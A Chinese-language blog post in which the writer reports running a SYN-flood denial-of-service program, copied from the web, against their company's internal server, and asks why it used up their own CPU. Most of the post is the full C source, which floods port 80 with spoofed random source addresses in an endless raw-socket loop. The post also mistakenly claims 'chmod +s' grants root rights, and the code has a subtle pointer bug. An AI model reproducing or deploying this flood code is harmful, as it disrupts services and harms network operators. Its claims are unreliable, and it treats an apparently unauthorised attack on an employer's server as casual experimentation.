前两天网络学习的时候看到别人写的dos程序,话说可以攻击网络服务器,看了一下原理,大致是通过在TCP三次握手那里做了手脚。把网络上的那个程序copy下来,运行一下,攻击公司的内部服务器(没有反映啊,失落哈),不过出现一个很奇怪的现象。见下图哦!下面贴出在网络搜索的源代码:
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <strings.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
void send_tcp(int ,struct sockaddr_in *addr);
#define portnumber 80
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int no;
no = 1;
if(argc != 2)
{
fprintf(stderr,"Useage:%s hostname/ip address.\n",argv[0]);
exit(-1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(portnumber);
if(inet_addr(argv[1]) == -1)
{
host = gethostbyname(argv[1]);
if(host == NULL)
{
fprintf(stderr,"Hostname error:%s\n\a",hstrerror(h_errno));
exit(-1);
}
addr.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);
}
if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1)
{
fprintf(stderr,"socket error:%s\n\a",strerror(errno));
exit(-1);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&no,sizeof(no));
setuid(getpid());
send_tcp(sockfd,&addr);
return 0;
}
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];
struct ip *ip;
struct tcphdr *tcp;
int head_len;
head_len = sizeof(struct ip) + sizeof(struct tcphdr);
bzero(buffer,100);
ip = (struct ip *)buffer;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(head_len);
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = MAXTTL;
ip->ip_p = IPPROTO_TCP;
ip->ip_sum = 0;
ip->ip_dst = addr->sin_addr;
tcp = (struct tcphdr *)(buffer+sizeof(struct ip));
tcp->source = htons(portnumber);
tcp->dest = addr->sin_port;
tcp->seq = random();
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1;
tcp->check = 0;
while(1)
{
ip->ip_src.s_addr = random();
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)&addr,sizeof(struct sockaddr_in));
}
}
编译连接后,敲入命令chmod +s dos,呵呵,这个命令很有用哦!能够让你的执行程序拥有root权限。
运行后没反映哈,想看看自己linux上的放映,敲入top命令吓我一跳。如下图:
用掉了我99.5%的cpu资源。至今不明白,求高手解释。唉!菜鸟就是这样,攻击别人的不行,结果把自己电脑搞死了。。。。